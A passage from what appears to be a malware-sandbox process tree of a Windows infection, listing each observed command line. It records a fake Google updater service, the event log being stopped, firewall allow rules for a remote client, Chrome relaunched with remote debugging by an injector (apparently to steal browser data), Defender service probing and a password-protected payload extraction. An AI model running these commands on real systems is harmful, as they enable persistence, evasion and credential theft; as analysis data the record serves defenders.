        C:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 0
        6⤵
        Power Settings
        
        PID:2188
      - C:\Windows\system32\powercfg.exe
        
        C:\Windows\system32\powercfg.exe /x -standby-timeout-ac 0
        6⤵
        Power Settings
        
        PID:1172
      - C:\Windows\system32\powercfg.exe
        
        C:\Windows\system32\powercfg.exe /x -standby-timeout-dc 0
        6⤵
        Power Settings
        
        PID:1920
      - C:\Windows\system32\dialer.exe
        
        C:\Windows\system32\dialer.exe
        6⤵
        
        PID:6096
      - C:\Windows\system32\sc.exe
        
        C:\Windows\system32\sc.exe delete "GoogleUpdateTaskMachineQC"
        6⤵
        Launches sc.exe
        
        PID:6488
      - C:\Windows\system32\sc.exe
        
        C:\Windows\system32\sc.exe create "GoogleUpdateTaskMachineQC" binpath= "C:\ProgramData\Google\Chrome\updater.exe" start= "auto"
        6⤵
        Launches sc.exe
        
        PID:6496
      - C:\Windows\system32\sc.exe
        
        C:\Windows\system32\sc.exe stop eventlog
        6⤵
        Launches sc.exe
        
        PID:6376
      - C:\Windows\system32\sc.exe
        
        C:\Windows\system32\sc.exe start "GoogleUpdateTaskMachineQC"
        6⤵
        Launches sc.exe
        
        PID:6616
- - C:\Users\Admin\AppData\Local\Temp\12526980101\Et5cbkQ.exe
    "C:\Users\Admin\AppData\Local\Temp\12526980101\Et5cbkQ.exe"
    3⤵
    PID:5084
  - - C:\Windows\system32\netsh.exe
      netsh advfirewall firewall delete rule "name=RemoteX Client"
      4⤵
      Modifies Windows Firewall
      PID:6328
  - - C:\Windows\system32\netsh.exe
      netsh advfirewall firewall add rule "name=RemoteX Client" dir=out action=allow program=C:\Users\Admin\AppData\Local\Temp\12526980101\Et5cbkQ.exe
      4⤵
      Modifies Windows Firewall
      PID:7524
  - - C:\Windows\system32\netsh.exe
      netsh advfirewall firewall add rule "name=RemoteX Client In" dir=in action=allow program=C:\Users\Admin\AppData\Local\Temp\12526980101\Et5cbkQ.exe
      4⤵
      Modifies Windows Firewall
      PID:6000
  - - C:\Windows\system32\taskkill.exe
      taskkill /F /IM chrome.exe
      4⤵
      Kills process with taskkill
      PID:5676
  - - C:\Windows\System32\Wbem\wmic.exe
      wmic cpu get name
      4⤵
      PID:2052
  - - C:\Windows\System32\Wbem\wmic.exe
      wmic cpu get name
      4⤵
      PID:7300
  - - C:\Users\Admin\AppData\Local\Temp\rxinj4266262264\chrome_injector.exe
      C:\Users\Admin\AppData\Local\Temp\rxinj4266262264\chrome_injector.exe all -f
      4⤵
      PID:8072
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe"
        5⤵
        
        PID:7744
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"
        5⤵
        
        PID:2256
  - - C:\Program Files\Google\Chrome\Application\chrome.exe
      "C:\Program Files\Google\Chrome\Application\chrome.exe" --restore-last-session
      4⤵
      PID:3536
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=140.0.7339.81 --initial-client-data=0x11c,0x120,0x124,0xf8,0x128,0x7ffdda56c728,0x7ffdda56c734,0x7ffdda56c740
        5⤵
        
        PID:2252
  - - C:\Windows\system32\taskkill.exe
      taskkill /F /IM chrome.exe
      4⤵
      Kills process with taskkill
      PID:6348
  - - C:\Program Files\Google\Chrome\Application\chrome.exe
      "C:\Program Files\Google\Chrome\Application\chrome.exe" --user-data-dir="C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --remote-debugging-port=0 --no-first-run --no-default-browser-check --no-sandbox --no-restore-state --disable-restore-session-state --window-position=-32000,-32000
      4⤵
      Uses browser remote debugging
      PID:6868
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=140.0.7339.81 --initial-client-data=0x130,0x134,0x138,0x10c,0x13c,0x7ffdda56c728,0x7ffdda56c734,0x7ffdda56c740
        5⤵
        
        PID:7112
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAQAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --metrics-shmem-handle=1716,i,692383235287277123,4599669169221767383,262144 --field-trial-handle=1880,i,12524506488745723294,6100125344736399631,262144 --variations-seed-version --mojo-platform-channel-handle=1884 /prefetch:2
        5⤵
        
        PID:7412
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --force-high-res-timeticks=disabled --metrics-shmem-handle=2120,i,32175161626204034,12324119288499204597,524288 --field-trial-handle=1880,i,12524506488745723294,6100125344736399631,262144 --variations-seed-version --mojo-platform-channel-handle=2044 /prefetch:11
        5⤵
        System Time Discovery
        
        PID:3832
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --force-high-res-timeticks=disabled --metrics-shmem-handle=2212,i,17440902924497570480,9271584475413687360,524288 --field-trial-handle=1880,i,12524506488745723294,6100125344736399631,262144 --variations-seed-version --mojo-platform-channel-handle=2244 /prefetch:13
        5⤵
        
        PID:3596
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --user-data-dir="C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --no-sandbox --remote-debugging-port=0 --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --metrics-shmem-handle=2972,i,11968898727764038203,7633572371940998691,2097152 --field-trial-handle=1880,i,12524506488745723294,6100125344736399631,262144 --variations-seed-version --mojo-platform-channel-handle=2976 /prefetch:1
        5⤵
        Uses browser remote debugging
        
        PID:1156
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --user-data-dir="C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --no-sandbox --remote-debugging-port=0 --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --metrics-shmem-handle=3004,i,15022416405017489218,13902101982163811838,2097152 --field-trial-handle=1880,i,12524506488745723294,6100125344736399631,262144 --variations-seed-version --mojo-platform-channel-handle=2980 /prefetch:1
        5⤵
        Uses browser remote debugging
        
        PID:5268
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --user-data-dir="C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --extension-process --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --no-sandbox --remote-debugging-port=0 --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --metrics-shmem-handle=3828,i,10287142377259238956,3481615625796829507,2097152 --field-trial-handle=1880,i,12524506488745723294,6100125344736399631,262144 --variations-seed-version --mojo-platform-channel-handle=3840 /prefetch:9
        5⤵
        Uses browser remote debugging
        
        PID:7700
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --force-high-res-timeticks=disabled --metrics-shmem-handle=3264,i,2089094534326052171,18253877085990164817,524288 --field-trial-handle=1880,i,12524506488745723294,6100125344736399631,262144 --variations-seed-version --mojo-platform-channel-handle=4004 /prefetch:14
        5⤵
        
        PID:7284
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --force-high-res-timeticks=disabled --metrics-shmem-handle=4132,i,5076735063189852365,884295808693802622,524288 --field-trial-handle=1880,i,12524506488745723294,6100125344736399631,262144 --variations-seed-version --mojo-platform-channel-handle=4144 /prefetch:14
        5⤵
        
        PID:4176
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --force-high-res-timeticks=disabled --metrics-shmem-handle=4120,i,16576754365594714098,9361232192330511613,524288 --field-trial-handle=1880,i,12524506488745723294,6100125344736399631,262144 --variations-seed-version --mojo-platform-channel-handle=4188 /prefetch:14
        5⤵
        
        PID:428
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --force-high-res-timeticks=disabled --metrics-shmem-handle=4252,i,4254584195826571144,11544223323058467471,524288 --field-trial-handle=1880,i,12524506488745723294,6100125344736399631,262144 --variations-seed-version --mojo-platform-channel-handle=4264 /prefetch:14
        5⤵
        
        PID:7760
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --user-data-dir="C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --extension-process --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --no-sandbox --remote-debugging-port=0 --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=12 --metrics-shmem-handle=4368,i,10376667988615165427,4761041083522584122,2097152 --field-trial-handle=1880,i,12524506488745723294,6100125344736399631,262144 --variations-seed-version --mojo-platform-channel-handle=4360 /prefetch:9
        5⤵
        Uses browser remote debugging
        
        PID:1720
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --user-data-dir="C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --no-sandbox --remote-debugging-port=0 --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=13 --metrics-shmem-handle=4256,i,5923974933493112238,7241871356316131114,2097152 --field-trial-handle=1880,i,12524506488745723294,6100125344736399631,262144 --variations-seed-version --mojo-platform-channel-handle=4288 /prefetch:1
        5⤵
        Uses browser remote debugging
        
        PID:8396
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --user-data-dir="C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --no-sandbox --remote-debugging-port=0 --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=14 --metrics-shmem-handle=4984,i,1470307432460285809,6830106110340035746,2097152 --field-trial-handle=1880,i,12524506488745723294,6100125344736399631,262144 --variations-seed-version --mojo-platform-channel-handle=4988 /prefetch:1
        5⤵
        Uses browser remote debugging
        
        PID:10144
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --no-sandbox --message-loop-type-ui --user-data-dir="C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --force-high-res-timeticks=disabled --metrics-shmem-handle=5108,i,17535662298252029281,3517651660015043962,524288 --field-trial-handle=1880,i,12524506488745723294,6100125344736399631,262144 --variations-seed-version --mojo-platform-channel-handle=5136 /prefetch:14
        5⤵
        
        PID:10584
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --no-sandbox --message-loop-type-ui --user-data-dir="C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --force-high-res-timeticks=disabled --metrics-shmem-handle=5124,i,14146711377797056338,1179944734605230004,524288 --field-trial-handle=1880,i,12524506488745723294,6100125344736399631,262144 --variations-seed-version --mojo-platform-channel-handle=5128 /prefetch:14
        5⤵
        
        PID:11872
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --no-sandbox --message-loop-type-ui --user-data-dir="C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --force-high-res-timeticks=disabled --metrics-shmem-handle=5132,i,1863099718316941975,14647805236312384235,524288 --field-trial-handle=1880,i,12524506488745723294,6100125344736399631,262144 --variations-seed-version --mojo-platform-channel-handle=5212 /prefetch:14
        5⤵
        
        PID:12264
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --user-data-dir="C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --no-sandbox --remote-debugging-port=0 --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=18 --metrics-shmem-handle=5236,i,13216994178445811991,17129826088389883839,2097152 --field-trial-handle=1880,i,12524506488745723294,6100125344736399631,262144 --variations-seed-version --mojo-platform-channel-handle=5288 /prefetch:1
        5⤵
        Uses browser remote debugging
        
        PID:10420
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=audio.mojom.AudioService --lang=en-US --service-sandbox-type=audio --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --force-high-res-timeticks=disabled --metrics-shmem-handle=5384,i,8299099016826815315,15785383809751032051,524288 --field-trial-handle=1880,i,12524506488745723294,6100125344736399631,262144 --variations-seed-version --mojo-platform-channel-handle=5372 /prefetch:12
        5⤵
        
        PID:10672
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=video_capture.mojom.VideoCaptureService --lang=en-US --service-sandbox-type=none --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --force-high-res-timeticks=disabled --metrics-shmem-handle=5360,i,10575758812460665611,14383390270178043768,524288 --field-trial-handle=1880,i,12524506488745723294,6100125344736399631,262144 --variations-seed-version --mojo-platform-channel-handle=5368 /prefetch:14
        5⤵
        
        PID:10888
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.ProcessorMetrics --lang=en-US --service-sandbox-type=none --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --force-high-res-timeticks=disabled --metrics-shmem-handle=1076,i,12615981172336365730,8249450122344410105,524288 --field-trial-handle=1880,i,12524506488745723294,6100125344736399631,262144 --variations-seed-version --mojo-platform-channel-handle=5180 /prefetch:14
        5⤵
        
        PID:10284
  - - C:\Windows\System32\Wbem\wmic.exe
      wmic cpu get name
      4⤵
      PID:9328
  - - C:\Windows\System32\Wbem\wmic.exe
      wmic cpu get name
      4⤵
      PID:9908
  - - C:\Windows\System32\Wbem\wmic.exe
      wmic cpu get name
      4⤵
      PID:11348
  - - C:\Windows\System32\Wbem\wmic.exe
      wmic cpu get name
      4⤵
      PID:9076
  - - C:\Windows\System32\Wbem\wmic.exe
      wmic cpu get name
      4⤵
      PID:12136
  - - C:\Windows\System32\Wbem\wmic.exe
      wmic cpu get name
      4⤵
      PID:12108
- - C:\Users\Admin\AppData\Local\Temp\12527160101\ODdofh9.exe
    "C:\Users\Admin\AppData\Local\Temp\12527160101\ODdofh9.exe"
    3⤵
    PID:5876
- - C:\Users\Admin\AppData\Local\Temp\12527730101\2cbf72fdcf.exe
    "C:\Users\Admin\AppData\Local\Temp\12527730101\2cbf72fdcf.exe"
    3⤵
    PID:6188
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\NXGVK1SpQ.bat" "
      4⤵
      PID:8572
    - - C:\Users\Admin\AppData\Local\Temp\saked\nircmd.exe
        
        nircmd win min process "cmd.exe"
        5⤵
        
        PID:1916
    - - C:\Windows\SysWOW64\chcp.com
        
        chcp 65001
        5⤵
        
        PID:8408
    - - C:\Windows\SysWOW64\reg.exe
        
        reg query "HKU\S-1-5-19"
        5⤵
        
        PID:8684
    - - C:\Windows\SysWOW64\reg.exe
        
        reg add "HKU\S-1-5-18\Software\Microsoft\Windows\CurrentVersion\Themes\Personalize" /v "AppsUseLightTheme" /t reg_dword /d 0 /f
        5⤵
        
        PID:8376
    - - C:\Windows\SysWOW64\mode.com
        
        Mode 79,49
        5⤵
        
        PID:8584
    - - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /c ver
        5⤵
        
        PID:8788
    - - C:\Windows\SysWOW64\reg.exe
        
        reg query "HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "EnableLUA"
        5⤵
        
        PID:8252
    - - C:\Windows\SysWOW64\find.exe
        
        find /i "0x0"
        5⤵
        
        PID:7584
    - - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /c tasklist
        5⤵
        
        PID:8500
      - C:\Windows\SysWOW64\tasklist.exe
        
        tasklist
        6⤵
        Enumerates processes with tasklist
        
        PID:9832
    - - C:\Windows\SysWOW64\reg.exe
        
        reg query "HKLM\System\CurrentControlSet\Services\WinDefend"
        5⤵
        
        PID:7712
    - - C:\Windows\SysWOW64\reg.exe
        
        reg query "HKLM\System\CurrentControlSet\Services\MDCoreSvc"
        5⤵
        
        PID:12400
    - - C:\Windows\SysWOW64\reg.exe
        
        reg query "HKLM\System\CurrentControlSet\Services\WdNisSvc"
        5⤵
        
        PID:2296
    - - C:\Windows\SysWOW64\reg.exe
        
        reg query "HKLM\System\CurrentControlSet\Services\Sense"
        5⤵
        
        PID:8884
    - - C:\Windows\SysWOW64\reg.exe
        
        reg query "HKLM\System\CurrentControlSet\Services\wscsvc"
        5⤵
        
        PID:6284
    - - C:\Windows\SysWOW64\reg.exe
        
        reg query "HKLM\System\CurrentControlSet\Services\SgrmBroker"
        5⤵
        
        PID:12420
    - - C:\Windows\SysWOW64\reg.exe
        
        reg query "HKLM\System\CurrentControlSet\Services\SecurityHealthService"
        5⤵
        
        PID:10244
    - - C:\Windows\SysWOW64\reg.exe
        
        reg query "HKLM\System\CurrentControlSet\Services\webthreatdefsvc"
        5⤵
        
        PID:9192
    - - C:\Windows\SysWOW64\reg.exe
        
        reg query "HKLM\System\CurrentControlSet\Services\webthreatdefusersvc"
        5⤵
        
        PID:12640
    - - C:\Windows\SysWOW64\reg.exe
        
        reg query "HKLM\System\CurrentControlSet\Services\WdNisDrv"
        5⤵
        
        PID:9656
    - - C:\Windows\SysWOW64\reg.exe
        
        reg query "HKLM\System\CurrentControlSet\Services\WdBoot"
        5⤵
        
        PID:13124
    - - C:\Windows\SysWOW64\reg.exe
        
        reg query "HKLM\System\CurrentControlSet\Services\WdFilter"
        5⤵
        
        PID:6664
    - - C:\Windows\SysWOW64\reg.exe
        
        reg query "HKLM\System\CurrentControlSet\Services\SgrmAgent"
        5⤵
        
        PID:10292
    - - C:\Windows\SysWOW64\reg.exe
        
        reg query "HKLM\System\CurrentControlSet\Services\MsSecWfp"
        5⤵
        
        PID:7836
    - - C:\Windows\SysWOW64\reg.exe
        
        reg query "HKLM\System\CurrentControlSet\Services\MsSecFlt"
        5⤵
        
        PID:4928
    - - C:\Windows\SysWOW64\reg.exe
        
        reg query "HKLM\System\CurrentControlSet\Services\MsSecCore"
        5⤵
        
        PID:13288
    - - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" ver "
        5⤵
        
        PID:11064
    - - C:\Windows\SysWOW64\findstr.exe
        
        findstr /c:"6.1.7601"
        5⤵
        
        PID:8588
    - - C:\Windows\SysWOW64\reg.exe
        
        reg query "HKLM\Software\Microsoft\Windows NT\CurrentVersion" /v "ProductName"
        5⤵
        
        PID:8772
    - - C:\Windows\SysWOW64\find.exe
        
        find /i "Windows 7"
        5⤵
        
        PID:12512
    - - C:\Users\Admin\AppData\Local\Temp\saked\7z.exe
        
        7z x -aoa -bso0 -bsp1 "same.zip" -p"stucha" "mika.exe"
        5⤵
        
        PID:10656
- - C:\Users\Admin\AppData\Local\Temp\12528070101\85154266a3.exe
    "C:\Users\Admin\AppData\Local\Temp\12528070101\85154266a3.exe"
    3⤵
    PID:9136
  - - C:\Program Files\Google\Chrome\Application\chrome.exe
      "C:\Program Files\Google\Chrome\Application\chrome.exe" https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd
      4⤵
      PID:8324
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=140.0.7339.81 --initial-client-data=0x120,0x124,0x128,0xfc,0x12c,0x7ffdda56c728,0x7ffdda56c734,0x7ffdda56c740
        5⤵
        
        PID:8328
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd
      4⤵
      PID:8608
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=139.0.7258.155 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 --annotation=prod=Edge --annotation=ver=139.0.3405.125 --initial-client-data=0x2ec,0x2f0,0x2f4,0x2e8,0x350,0x7ffdd15cc188,0x7ffdd15cc194,0x7ffdd15cc1a0
        5⤵
        
        PID:8840
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=1780,i,6271326122356151397,2512633426675327612,524288 --field-trial-handle=1984,i,7926654227068652025,5514613251954855113,262144 --variations-seed-version --mojo-platform-channel-handle=2092 /prefetch:11
        5⤵
        System Time Discovery
        
        PID:4364
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAQAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --always-read-main-dll --metrics-shmem-handle=1588,i,13024532377032929511,11934615558804509204,262144 --field-trial-handle=1984,i,7926654227068652025,5514613251954855113,262144 --variations-seed-version --mojo-platform-channel-handle=1968 /prefetch:2
        5⤵
        
        PID:3872
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=2444,i,2537659784928123704,1861508462338976512,524288 --field-trial-handle=1984,i,7926654227068652025,5514613251954855113,262144 --variations-seed-version --mojo-platform-channel-handle=2748 /prefetch:13
        5⤵
        
        PID:8520
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --always-read-main-dll --metrics-shmem-handle=3436,i,16909250136092877495,12113004322049374019,2097152 --field-trial-handle=1984,i,7926654227068652025,5514613251954855113,262144 --variations-seed-version --mojo-platform-channel-handle=3456 /prefetch:1
        5⤵
        
        PID:9096
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --always-read-main-dll --metrics-shmem-handle=3452,i,14054734427495919309,13308165367327607064,2097152 --field-trial-handle=1984,i,7926654227068652025,5514613251954855113,262144 --variations-seed-version --mojo-platform-channel-handle=3584 /prefetch:1
        5⤵
        
        PID:8684
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-US --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=4888,i,16744639820623640296,12316565647634769142,524288 --field-trial-handle=1984,i,7926654227068652025,5514613251954855113,262144 --variations-seed-version --mojo-platform-channel-handle=4916 /prefetch:14
        5⤵
        
        PID:9720
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=4856,i,12577856440249436258,8782480130597666177,524288 --field-trial-handle=1984,i,7926654227068652025,5514613251954855113,262144 --variations-seed-version --mojo-platform-channel-handle=4908 /prefetch:14
        5⤵
        
        PID:9728
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
